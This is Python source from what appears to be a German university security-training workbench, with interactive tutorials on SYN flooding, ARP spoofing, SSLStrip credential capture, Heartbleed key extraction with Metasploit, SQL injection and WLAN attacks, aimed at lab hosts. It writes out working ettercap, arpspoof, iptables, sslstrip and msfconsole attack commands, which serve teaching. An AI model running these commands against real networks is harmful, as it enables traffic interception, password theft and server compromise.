def main():
if not os.geteuid() == 0:
sys.exit('Bitte dieses Skript als Root ausführen.')
showMenu = True
while (showMenu):
shellCols = colors.ShellColors
#Main Menu
generics.clearScreen()
print shellCols.UNDERLINE + shellCols.ALTERNAHEADER + "Denial of Service(DoS) Tutorials" + shellCols.ENDC + '\n'
print(
'Dieses Tutorial bietet dem Benutzer die Möglichkeit, durch ein interaktives Skript, SYN-Flood-Attacken auszuführen.\n'
)
print shellCols.UNDERLINE + shellCols.ALTERNAHEADER + "SYN Flood Menu" + shellCols.ENDC
print shellCols.WARNING + "1.\tAngreifer SYN-Flooding" + shellCols.ENDC
print shellCols.WARNING + "2.\tOpfer SYN-Flooding" + shellCols.ENDC
print shellCols.WARNING + "3.\tLöschen IP-Tables-Eintrag" + shellCols.ENDC
print shellCols.WARNING + "0.\tZurück zum Hauptmenü der Security-Workbench" + shellCols.ENDC
mainSelection = input(
shellCols.BLUE +
"\nDie Auswahl bitte hier eingeben und mit Enter bestätigen: " +
shellCols.ENDC)
if (mainSelection == 1):
showMenu = SYNFLOOD.SYNFLOOD_Menu()
elif (mainSelection == 2):
showMenu = OpferSynFlood.OpferSynFlood_Menu()
elif (mainSelection == 3):
showMenu = DeleteIPTable.DeleteIPTable_Menu()
elif (mainSelection == 0):
showMenu = False
if (showMenu == False):
print "\nSkript wird beendet.\n"
def ReplaceImagesMode():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Untermenü Opfer der Manipulation der Webseiten: ' +
shellCols.ENDC + '\n')
##Schritt 1
print(
'Stelle im ersten Schritt sicher, dass du direkten Zugriff auf das Host-Netzwerk hast. Wie das geht, kannst du in der PDF-Dokumentation im Kapitel \"Tunneln von Netzwerkadaptern\" nachlesen.\n'
)
selection = raw_input(
shellCols.BLUE +
'\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Schritt 2
print(
'Rufe nun in deinem Browser die Homepage - news.local - auf. Schliesse im Anschluss den Browser.'
)
selection = raw_input(
shellCols.BLUE +
'\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Schritt3
print(
'Jetzt musst du warten bis der Angreifer seine Attacke durchgeführt hat.'
)
selection = raw_input(
shellCols.BLUE +
'\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Schritt 4
print(
'Rufe nun in deinem Browser erneut die zuvor gewählte Webseite auf. Es sollte jetzt die Webseite manipuliert sein.'
)
selection = raw_input(shellCols.BLUE +
'\nDrücke x um das Programm zu verlassen... ' +
shellCols.ENDC + '\n')
#if(selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def StartHeartbleedMetasploit():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Angriff auf OpenSSL Heartbleed: ' + shellCols.ENDC + '\n')
# IP des Opfers
print(
'Zuerst wird die IP-Adresse des Opfers benötigt, auf welchem der verwundbare OpenSSL-Server läuft. Wurde dieser auf dem selben Rechner gestartet, lautet diese 127.0.0.1 (localhost).'
)
print(
'In der Raspberry Security Workbench kann ebenfalls der Server angegriffen werden unter router.local'
)
ip = rlinput("Gib die IP-Adresse des Zielservers ein: ",
"router.local")
# Port
print(
"\n\nAuch der Https-Port des Dienstes wird benötigt. Standardmäßig lautet er 8989."
)
port = rlinput("Gib den Port des Zieldienstes ein: ", "8989")
# NMAP
print(
"\n\nAnschließend kann mit Nmap geprüft werden, ob der Server für Heartbleed anfällig ist. Hierzu verfügt Nmap über ein entsprechendes Plugin."
)
command = rlinput(
"# ", "nmap --script ssl-heartbleed -sV -p %s %s" % (port, ip))
os.system(command)
print(
"\n\nNmap sollte für den Dienst ausgeben, dass er für Heartbleed verwundbar ist: \nssl-heartbleed:VULNERABLE"
)
# metasploit
print(
"\n\nNun wird ein metasploit Plugin konfiguriert und gestartet, welches versucht, den Private Key des Servers auszulesen."
)
command = rlinput(
"# ",
"msfconsole -x 'use auxiliary/scanner/ssl/openssl_heartbleed; set action KEYS; set RHOSTS %s; set RPORT %s; set verbose true; exploit; exit;'"
% (ip, port))
os.system(command)
print(
"\n\nWar der Exploit erfolgreich, wurde der Private Key des Servers ausgegeben."
)
# Beenden
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren.' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def main():
showMenu = True
shellCols = colors.ShellColors
while (showMenu):
#Main Menu
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
"SQL-Injection Tutorial" + shellCols.ENDC + '\n')
print(
'Mit diesem Tutorial kannst du anhand eines praktischen Beispiels eine MySQL-Datenbank hacken. Genauere Informationen über das Thema SQL-Injection findest du im PDF-Handbuch der THI Security Workbench. In diesem Tutorial wirst du mittels einer SQL-Injection Daten aus der Datenbank auslesen, auf die du normalerweise keinen Zugriff haben solltest.\n'
)
print(
'Die Datenbank inkl. User und DB-Schema wird zu Beginn des Tutorials oder durch das manuelle zurücksetzen immer wieder initialisiert. Dadurch kannst du auch direkt auf die Datenbank zugreifen und andere Szenarien ausprobieren.\n'
)
print(shellCols.UNDERLINE + shellCols.HEADER + 'Hauptmenü:' +
shellCols.ENDC)
print(shellCols.WARNING + "1.\tSQL-Injection zum Auslesen von Daten" +
shellCols.ENDC)
print(shellCols.WARNING + "2.\tSQL-Injection zum Einfügen von Daten" +
shellCols.ENDC)
print(shellCols.WARNING +
"3.\tSQL-Injection zum Löschen von Tabellen" + shellCols.ENDC)
print(shellCols.WARNING + "4.\tSQL-Injection - Spielwiese :)" +
shellCols.ENDC)
print(shellCols.WARNING + "5.\tDatenbank zurücksetzen" +
shellCols.ENDC)
print(shellCols.WARNING +
"0.\tZurück zum Hauptmenü der Security-Workbench" +
shellCols.ENDC)
try:
mainSelection = input(
shellCols.BLUE +
"\nDie Auswahl bitte hier eingeben und mit Enter bestätigen: "
+ shellCols.ENDC)
except SyntaxError:
mainSelection = 0
if (mainSelection == 1):
attackDB.readFromDB()
elif (mainSelection == 2):
attackDB.insertToDB()
elif (mainSelection == 3):
attackDB.dropDB()
elif (mainSelection == 4):
attackDB.playground()
elif (mainSelection == 5):
initializeDB.init()
elif (mainSelection == 0):
initializeDB.end_services()
print("\nProgram beendet\n")
showMenu = False
else:
print("\nNot valid!")
def main():
#JUST TO MAKE SHURE YOU ARE ROOT
generics.RunAsRoot()
showMenu = True
while (showMenu):
shellCols = colors.ShellColors
#Main Menu
generics.clearScreen()
print shellCols.UNDERLINE + shellCols.ALTERNAHEADER + "WLAN-Netzwerk Tutorials" + shellCols.ENDC + '\n'
print(
'Dieses Tutorial bietet dem Benutzer die Möglichkeit, durch ein interaktives Skript, WLAN Passwörter für WEP und WPA/WPA2 zu knacken.'
+
' Ebenso können einige DoS-Attacken gegen WLAN-Netze interaktiv erlebt werden. Selbstverständlich dient dieses Tutorial nur einem '
+
'demonstrativen Zweck und es sollten nur WLAN-Netzwerke attackiert werden, die sich in einem isolierten Testumfeld befinden und der Nutzer '
+
'auch auf legalen Weg Zugriff hat. Im Tutorial selbst finden sich nur kurze Erklärungen zum Angriffverlauf. Für eine ausführliche '
+
'Erklärung wird zusammen mit diesem Tutorial eine Anleitung/Erklärung in .pdf-Form mitgeliefert.\n'
)
print shellCols.UNDERLINE + shellCols.ALTERNAHEADER + "Main Menu" + shellCols.ENDC
print shellCols.WARNING + "1.\tWEP-Key knacken" + shellCols.ENDC
print shellCols.WARNING + "2.\tWPA/WPA2-PSK knacken" + shellCols.ENDC
print shellCols.WARNING + "3.\tWLAN DoS-Attacken" + shellCols.ENDC
print shellCols.WARNING + "4.\tWPS-PIN knacken" + shellCols.ENDC
print shellCols.WARNING + "5.\tWPA/WPA2-Enterprise Passwort knacken" + shellCols.ENDC
print shellCols.WARNING + "6.\tFake-AP erstellen" + shellCols.ENDC
print shellCols.WARNING + "0.\tZurück zum Hauptmenü der Security-Workbench" + shellCols.ENDC
try:
mainSelection = input(
shellCols.BLUE +
"\nDie Auswahl bitte hier eingeben und mit Enter bestätigen: "
+ shellCols.ENDC)
except SyntaxError:
mainSelection = 0
if (mainSelection == 1):
showMenu = WEP.WEP_Open()
elif (mainSelection == 2):
showMenu = WPA.WPA_Menu()
elif (mainSelection == 3):
showMenu = DOS.DOS_Menu()
elif (mainSelection == 4):
showMenu = WPS.WPS_Menu()
elif (mainSelection == 5):
showMenu = Enterprise.Enterprise_Menu()
elif (mainSelection == 6):
showMenu = Fake.Fake_Menu()
elif (mainSelection == 0):
showMenu = False
if (showMenu == False):
print "\nSkript wird beendet.\n"
def OpferSynFlood_Menu():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print shellCols.UNDERLINE + shellCols.HEADER + 'Opfer SYN-Flooding' + shellCols.ENDC + '\n'
#Apache2 server starten
print(
'In diesem Abschnitt wird der Apache2-Server gestartet, der im SYN-Flooding-Tutorial angegriffen wird.'
)
rlinput('Der Server wird mit folgendem Befehl gestartet: \n# ',
' /etc/init.d/apache2 start')
# Apache server starten
dosDockerControl("start")
print('\n')
#IP Adressen Opfer/Angreifer
print(
'Zuerst muss die IP-Adresse des Interfaces angegeben werden, welches mit dem Netzwerk verbunden ist.'
)
command = rlinput('Anzeigen der Interfaces mit folgendem Befehl: \n# ',
'ifconfig')
execute(command)
ipVictim = raw_input('Bitte die eigene IP-Adresse(IPv4) eingeben: ')
ipAttacker = raw_input(
'Bitte die IP-Adresse(IPv4) des Angreifers eingeben: ')
print(
'Der folgende Ausdruck zeigt in Wireshark alle Einträge mit beiden IP-Adressen: '
)
print('ip.addr == ' + ipVictim + ' && ip.addr == ' + ipAttacker)
selection = raw_input(
shellCols.BLUE +
'\nDrücke ENTER um den Server zu stoppen. Führen sie diesen Befehl nur aus, wenn die Attacke bereits beendet wurde. '
+ shellCols.ENDC)
rlinput('Der Server wird mit folgendem Befehl gestoppt : \n# ',
' /etc/init.d/apache2 stop')
# Apache2 server stoppen
dosDockerControl("stop")
selection = raw_input(
shellCols.BLUE + '\nDrücke ENTER um das Programm zu verlassen...' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def ReplaceImagesMode():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Manipulation des Netzwerkverkehrs mit ARP-Spoofing: ' +
shellCols.ENDC + '\n')
##Ip-Adressen im Netzwerk herausfinden
print(
'In diesem Tutorial werden wie im einfachen ARP-Spoofing mit Ettercap der ARP Cache des Opfers manipuliert. Zusätzlich benutzen wir einen Etterfilter, der den Netzwerkverkehr untersucht und je nach Programmierung des Filters Pakete droppt, den Inhalt manipuliert oder neu erstellte Pakete verschickt. Es wurde bereits ein Filter erstellt, der auf Websiten ein Youtubevideo einbinden soll.\n'
)
command = rlinput(
'Zuerst das verwendete Netzwerkinterface herausfinden mit: \n# ',
'ifconfig')
os.system(command)
network_interface = raw_input('Verwendete Netzwerkinterface: ')
command = rlinput(
'Nun werden mit folgendem Befehl die im Netzwerk aktiven Benutzer angezeigt: \n# ',
'arp-scan --interface ' + network_interface + ' --localnet')
os.system(command)
print('\n')
##Filterangriff mit Ettercap starten
victim_ipadress = raw_input('Gib nun die IP-Adresse des Opfers ein: ')
path = os.path.dirname(os.path.abspath(__file__))
#### Filter fehlt noch
filter = path + "/test.ef"
command = rlinput(
'Nun werden wir mit folgendem Befehl unter Angabe des verwendeten Filters das ARP-Spoofing durchgeführt; Ettercap startet in einem neuen Fenster und der Angriff lässt sich mit "q" beenden:\n# ',
'ettercap -T -q -F ' + filter + ' -i ' + network_interface +
' -M ARP /' + victim_ipadress + '// ///')
p = execute(command)
print('\n')
print(
'Nun wird der gesamte Netzwerkverkehr des Opfers über unseren Rechner umgeleitet und durch den Filter manipuliert.'
)
##Beenden
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren.' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def SniffingMode():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Angriff mittels einfachem ARP-Spoofing: ' + shellCols.ENDC +
'\n')
##Ip-Adressen im Netzwerk herausfinden
print(
'In diesem Tutorial wird der ARP Cache des Opfers manipuliert und erlaubt somit den gesamten Netzwerkverkehr des Opfers über unseren Rechner umzuleiten.'
)
command = rlinput(
'Zuerst das verwendete Netzwerkinterface herausfinden mit: \n# ',
'ifconfig')
os.system(command)
network_interface = raw_input('Verwendete Netzwerkinterface: ')
command = rlinput(
'Nun werden mit folgendem Befehl die im Netzwerk aktiven Benutzer angezeigt: \n# ',
'arp-scan --interface ' + network_interface + ' --localnet')
os.system(command)
print('\n')
##Angriff mithilfe von Ettercap starten
victim_ipadress = raw_input('Gib nun die IP-Adresse des Opfers ein: ')
command = rlinput(
'Nun wird mit folgendem Befehl der Angriff mittels Ettercap gestartet; Ettercap startet in einem neuen Fenster und der Angriff lässt sich mit "q" beenden:\n# ',
'ettercap -T -i ' + network_interface + ' -M ARP /' +
victim_ipadress + '// ///')
p = execute(command)
print('\n')
print(
'Nun wird der gesamte Netzwerkverkehr des Opfers über unseren Rechner umgeleitet und erlaubt so die Einsicht und Manipulation der Inhalte.'
)
##Beenden
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren.' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def main():
showMenu = True
shellCols = colors.ShellColors
while(showMenu):
#Main Menu
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER + "ARP Spoofing Tutorial" + shellCols.ENDC + '\n')
print('Dieses Tutorial zeigt dir anhand eines praktischen Beispiels, wie eine ARP Spoofing Attacke ausgeführt wird. '
+'Genauere Informationen über das ARP Spoofing kannst du im PDF-Handbuch der THI Security Workbench finden. Das Tutorial ist '
+'zweigeteilt und zeigt dir im ersten Schritt, wie man einen Blick auf den Netzwerkverkehr anderer Geräte bekommen kann. Im zweiten '
+'Schritt werden die von anderen Geräten aufgerufenen Homepages durch den Austausch der vorkommenden Bilder manipuliert. \nACHTUNG: '
+'Dieses Tutorial darf nur in eigenen Netzwerken und zu Demonstrationszwecken verwendet werden!\n')
print(shellCols.UNDERLINE + shellCols.HEADER + 'Hauptmenü:' + shellCols.ENDC)
print(shellCols.WARNING + "1.\tEinfaches ARP-Spoofing als Angreifer" + shellCols.ENDC)
print(shellCols.WARNING + "2.\tStarte Darstellung des Netzwerkverkehrs als Opfer" + shellCols.ENDC)
print(shellCols.WARNING + "3.\tARP-Spoofing und Verwendung von Filtern" + shellCols.ENDC)
print(shellCols.WARNING + "4.\tStarte Manipulation der Bilddateien als Opfer" + shellCols.ENDC)
print(shellCols.WARNING + "5.\tStarte SSLStrip Attacke als Angreifer" + shellCols.ENDC)
print(shellCols.WARNING + "0.\tZurück zum Hauptmenü der Security-Workbench" + shellCols.ENDC)
try:
mainSelection = input(shellCols.BLUE + "\nDeine Auswahl: " + shellCols.ENDC)
except:
mainSelection = 0
if(mainSelection == 1):
attacker.SniffingMode()
elif(mainSelection == 2):
victim.SniffingMode()
elif(mainSelection == 3):
attacker.ReplaceImagesMode()
elif(mainSelection == 4):
victim.ReplaceImagesMode()
elif(mainSelection == 5):
sslstrip.Start()
elif(mainSelection == 0):
print("\nProgram beendet\n")
showMenu = False
else:
print("\nUngültige Eingabe!")
def readFromDB():
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'SQL-Injection zum Auslesen von Daten: ' + shellCols.ENDC + '\n')
#Öffnen der Web-Application
print(
'Im ersten Teil des Tutorials werden mittels einer einfachen SQL-Injection Daten aus der DB gelesen, auf die man über die Anwendung eigentlich keinen Zugriff hätte.\n\nDazu wird eine Web-Application gestartet, in der die SQL-Injections durchgeführt werden können.\n'
)
open_FF('http://localhost/sqlinjection/select.html')
#Zum Hauptmenü zurück kehren
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren. ' +
shellCols.ENDC)
#print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def insertToDB():
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'SQL-Injection zum Einfügen von Daten: ' + shellCols.ENDC + '\n')
#Öffnen der Web-Application
print(
'Im zweiten Teil des Tutorials wird mittels einer SQL-Injection ein zusätzlicher Datensatz in die Tabelle eingefügt. \n\nDazu wird eine Web-Application gestartet, in der die SQL-Injections durchgeführt werden können.\n'
)
open_FF('http://localhost/sqlinjection/insert.html')
#Zum Hauptmenü zurück kehren
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren. ' +
shellCols.ENDC)
#print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def playground():
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'SQL-Injections - Spielwiese :) ' + shellCols.ENDC + '\n')
#Öffnen der Web-Application
print(
'Innerhalb dieser Web-Application sind alle möglichen Statements noch einmal kurz aufgelistet. Hier kannst du testen, was du in den vorhergehenden Tutorials gelernt hast. \n\n'
)
open_FF('http://localhost/sqlinjection/playground.html')
#Zum Hauptmenü zurück kehren
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren. ' +
shellCols.ENDC)
#print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def dropDB():
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'SQL-Injection zum Droppen der Tabelle: ' + shellCols.ENDC +
'\n')
#Öffnen der Web-Application
print(
'Im dritten Teil des Tutorials wird mittels einer SQL-Injection die komplette Tabelle gelöscht (drop). Bitte beachte, dass du die Datenbank erst im Hauptmenü im Unterpunkt "5. Datenbank zurück setzen" wieder initialisieren musst, wenn du nach dem drop weiterarbeiten möchtest!\n\nDazu wird eine Web-Application gestartet, in der die SQL-Injections durchgeführt werden können.\n'
)
open_FF('http://localhost/sqlinjection/drop.html')
#Zum Hauptmenü zurück kehren
selection = raw_input(shellCols.BLUE +
'\nDrücke 0 um zum Menü zurückzukehren. ' +
shellCols.ENDC)
#print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def do():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Untermenü Buffer Overflow Aufgaben ' + shellCols.ENDC + '\n')
##Schritt 1
print(
'Versuche die beiden Aufgaben Buffer1 und Buffer2 aus dem Unterordner BufferOverflow selbstständig zu lösen. Starte zuerst ein neues Terminal, navigiere dich zum richtigen Ordner und gehe dann in der selben Reihenfolge vor, wie sie bei den beiden Beispielen vorgemacht wurde. Bei Problemen schau kurz ins PDF-Handbuch der Security Workbench. \n'
)
##Schritt 2
print('Das Tutorial ist hiermit beendet.\n')
selection = raw_input(shellCols.BLUE +
'\nDrücke x um das Programm zu verlassen... ' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def DeleteIPTable_Menu():
shellCols = colors.ShellColors
showMenu = True
while(showMenu):
clearScreen()
print shellCols.UNDERLINE + shellCols.HEADER + 'Löschen der IP-Tables Einträge' + shellCols.ENDC + '\n'
#IP Adressen Opfer/Angreifer
print('Zuerst muss die IP-Adresse des zuvor benutzten Interfaces angegeben werden.')
command = rlinput('Anzeigen der Interfaces mit folgendem Befehl: \n# ', 'ifconfig')
execute(command)
ipadr = rlinput('Eigene IP-Adresse(IPv4: ')
command = rlinput('IP-Tables-Eintrag: \n# ', 'iptables -D OUTPUT -p tcp -s ' +ipadr + ' --tcp-flags RST RST -j DROP')
os.system(command)
print('\n')
selection = raw_input(shellCols.BLUE + '\nDrücke x um das Programm zu verlassen...' + shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def main():
showMenu = True
shellCols = colors.ShellColors
while (showMenu):
#Main Menu
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER + "OpenSSL Heartbleed" +
shellCols.ENDC + '\n')
print(
'Es wird demonstriert, wie es aufgrund der Heartbleed Lücke in OpenSSL möglich war, Teile des Hauptspeichers des Servers auszulesen. Insbesondere wird versucht, den Private Key des Servers zu bestimmen.\n\nDie beiden Rollen können sowohl auf separaten Rechnern im selben Netz als auch auf einem Rechner gestartet werden. In letzterem Fall ist als IP-Adresse des Opfers/Servers die 127.0.0.1 zu verwenden.'
)
print(shellCols.UNDERLINE + shellCols.HEADER + 'Hauptmenü:' +
shellCols.ENDC)
print(shellCols.WARNING + "1.\tOpfer: Starte verwundbaren Server" +
shellCols.ENDC)
print(
shellCols.WARNING +
"2.\tAngreifer: Analyse und Angriff auf bereits gestarteten Server"
+ shellCols.ENDC)
print(shellCols.WARNING +
"0.\tZurück zum Hauptmenü der Security-Workbench" +
shellCols.ENDC)
mainSelection = input(shellCols.BLUE + "\nDeine Auswahl: " +
shellCols.ENDC)
if (mainSelection == 1):
victim.ConfigureAndStartServer()
elif (mainSelection == 2):
attacker.StartHeartbleedMetasploit()
elif (mainSelection == 0):
print("\nProgram beendet\n")
showMenu = False
else:
print("\nUngültige Eingabe!")
def main():
if not os.geteuid() == 0:
sys.exit('Bitte dieses Skript als Root ausführen.')
showMenu = True
while (showMenu):
shellCols = colors.ShellColors
#Main Menu
generics.clearScreen()
print shellCols.UNDERLINE + shellCols.ALTERNAHEADER + "Denial of Service(DoS) Tutorials" + shellCols.ENDC + '\n'
print(
'Dieses Tutorial bietet dem Benutzer die Möglichkeit, durch ein interaktives Skript Denial-of-Service-Attacken auszuführen.'
+
'Selbstverständlich dient dieses Tutorial nur einem demonstrativen Zweck.'
+
'Im Tutorial selbst finden sich nur kurze Erklärungen zum Angriffverlauf. Für eine ausführliche '
+
'Erklärung wird zusammen mit diesem Tutorial eine Anleitung in .pdf-Form mitgeliefert.\n'
)
print shellCols.UNDERLINE + shellCols.ALTERNAHEADER + "Main Menu" + shellCols.ENDC
print shellCols.WARNING + "1.\tICMP Flooding" + shellCols.ENDC
print shellCols.WARNING + "2.\tSYN Flooding" + shellCols.ENDC
print shellCols.WARNING + "0.\tZurück zum Hauptmenü der Security-Workbench" + shellCols.ENDC
mainSelection = input(
shellCols.BLUE +
"\nDie Auswahl bitte hier eingeben und mit Enter bestätigen: " +
shellCols.ENDC)
if (mainSelection == 1):
showMenu = ICMPFlood.ICMP_MENU()
elif (mainSelection == 2):
showMenu = SYNFloodMain.main()
elif (mainSelection == 0):
showMenu = False
if (showMenu == False):
print "\nSkript wird beendet.\n"
def main():
showMenu = True
shellCols = colors.ShellColors
while (showMenu):
#Main Menu
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
"BufferOverflow Tutorial" + shellCols.ENDC + '\n')
print(
'Dieses Tutorial zeigt dir anhand eines praktischen Beispiels, wie eine Buffer Overflow Attacke ausgeführt wird. Genauere Informationen über Buffer Overflow kannst du im PDF-Handbuch der THI Security Workbench finden. Das Tutorial besitzt zwei kleine Beispiele, an denen nachvollzogen werden kann, was gemacht werden muss. Danach kannst du selbst ausprobieren, ob du die beiden anderen Aufgaben lösen kannst. Die Aufaben sind dabei ähnlich aufgebaut, wie die Beispiele, so dass nach dem gleichen Prinzip vorgegangen werden kann.'
)
print(shellCols.UNDERLINE + shellCols.HEADER + 'Hauptmenü:' +
shellCols.ENDC)
print(shellCols.WARNING + "1.\tErstes Beispiel" + shellCols.ENDC)
print(shellCols.WARNING + "2.\tZweites Beispiel" + shellCols.ENDC)
print(shellCols.WARNING + "3.\tEigene Aufgaben" + shellCols.ENDC)
print(shellCols.WARNING +
"0.\tZurück zum Hauptmenü der Security-Workbench" +
shellCols.ENDC)
mainSelection = input(shellCols.BLUE + "\nDeine Auswahl: " +
shellCols.ENDC)
if (mainSelection == 1):
firstExample.do()
elif (mainSelection == 2):
secondExample.do()
elif (mainSelection == 3):
firstTask.do()
elif (mainSelection == 0):
print("\nProgram beendet\n")
showMenu = False
else:
print("\nUngültige Eingabe!")
def Start():
shellCols = colors.ShellColors
showMenu = True
while(showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER + 'SSLStrip-Attacke: ' + shellCols.ENDC + '\n')
##Ip-Forward aktivieren
print('In diesem Tutorial werden alle HTTPS-Links des Opfers durch HTTP-Links ersetzt und der Verkehr wird zusätzlich per ARP Spoofing über den eigenen Server geleitet. Dadurch ist es möglich alle Daten (auch Passwörter, etc.) auszulesen.')
command = rlinput('Als Erstes wird IP-Forwarding mit folgendem Befehl aktiviert: \n# ' , 'sysctl -w net.ipv4.ip_forward=1')
os.system(command)
print('\n')
selection = raw_input(shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n')
if(selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Netzwerkkonfiguration auslesen
command = rlinput('Rufe nun die Konfiguration deiner IP-Netzwerkschnittstellen auf und lies dort dein Gateway und dein Interface aus: ', 'ifconfig')
os.system(command)
print('\n')
##ARP Spoofing starten
victim_ipadress = raw_input('Gib nun die IP-Adresse des Opfers ein (das Opfer gibt ifconfig zum Auslesen ein): ')
network_interface = raw_input('Gib nun den Namen des Interfaces des Netzwerkes ein, in dem sich sowohl Angreifer als auch Opfer befinden: ')
gateway_ipadress = raw_input('Gib nun die IP-Adresse des Gateways ein: ')
command = rlinput('Nun wird mit folgendem Befehl der Angriff mittels arpspoof gestartet:\n# ', 'arpspoof -i ' + network_interface + ' -t ' + victim_ipadress + ' ' + gateway_ipadress)
p = execute(command)
print('\n')
print('Nun wird der gesamte Netzwerkverkehr des Opfers über unseren Rechner umgeleitet und erlaubt so die Einsicht und Manipulation der Inhalte.')
selection = raw_input(shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n')
if(selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Weitergeben der Pakete via IPtables an SSLStrip
print('Jetzt müssen alle ankommenden Pakete an das Tool SSLStrip weitergegeben werden, damit sie verschlüsselt an den eigentlichen Zielserver weitergeleitet werden können.')
listen_port = raw_input('Gibt den Port an, auf den gelauscht werden soll (zum Beispiel 8080): ')
command = rlinput('Weiterleiten der Pakete via IPtables: \n# ' , 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ' + listen_port)
os.system(command)
print('\n')
selection = raw_input(shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n')
if(selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Starte das SSLStrip-Programm
print('Nun kann das eigentliche SSLStrip gestartet werden.')
log_path = raw_input('Gibt nur noch Pfad und Dateinamen an, in dem die HTTPS-Nachrichten im Klartext gespeichert werden sollen: ')
command = rlinput('Weiterleiten der Pakete via IPtables: \n# ' , 'sslstrip -a -k -l ' + listen_port + ' -w ' + log_path)
os.system(command)
print('\n')
##Beende Program
selection = raw_input(shellCols.BLUE + '\nDrücke 0 um zum Menü zurückzukehren.' + shellCols.ENDC)
os.system('sysctl -w net.ipv4.ip_forward=0')
os.system('iptables -t nat -F')
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def ConfigureAndStartServer():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Untermenü Opfer/Server OpenSSL Heartbleed' + shellCols.ENDC +
'\n')
#Resolving System Architecture
#os.name -> 5-tuple containing sysname, nodename, release, version, machine
temp_os_machine = os.uname()[4]
#shorten architecture to arm or x86, it is empty with no match
architecture = 'arm' if (temp_os_machine == 'armv7l') else ''
architecture = 'x86' if (temp_os_machine == 'x86_64' or temp_os_machine
== 'i686') else architecture
#Output the result
output = 'System Architektur konnte weder ARM noch X86 zugeordnet werden' if (
architecture
== '') else 'System Architektur >>' + architecture + '<< erkannt.'
print(output)
print('\n')
# Version
print(
"OpenSSL ist eine Bibliothek rund um die Erzeugung von Zertifikaten und verschlüsselter Verbindungen. Die Versionen 1.0.1 bis einschließlich 1.0.1f waren von der Heartbleed-Lücke betroffen.\n\n"
)
command = rlinput("Überprüfe die Version von OpenSSL: \n# ",
"./" + architecture + "_openssl version")
os.system(command)
print('\n')
# alte Files löschen
try:
os.remove("private_key.pem")
os.remove("certificate.pem")
except OSError:
pass
# Private Key und Zertifikat erstellen
print(
"Für einen SSL-Server muss ein Private Key und ein Zertifikat erstellt werden. Die Angaben für die Zertifikatserstellung können freigelassen werden.\n\n"
)
command = rlinput(
"Erzeuge Private Key und Zertifikat: \n# ", "./" + architecture +
"_openssl req -x509 -newkey rsa:1024 -keyout private_key.pem -out certificate.pem -days 365 -nodes -config /etc/ssl/openssl.cnf"
)
os.system(command)
print('\n')
# Private Key anzeigen
print(
"Der erzeugte RSA Private Key kann mit OpenSSL Base64-kodiert angezeigt werden.\n\n"
)
command = rlinput(
"Zeige Private Key an:\n# ",
"./" + architecture + "_openssl rsa -in private_key.pem")
os.system(command)
print('\n')
# Server starten
print("Nun wird der verwundbare Server gestartet.\n\n")
command = rlinput(
"Starte Server:\n# ", "./" + architecture +
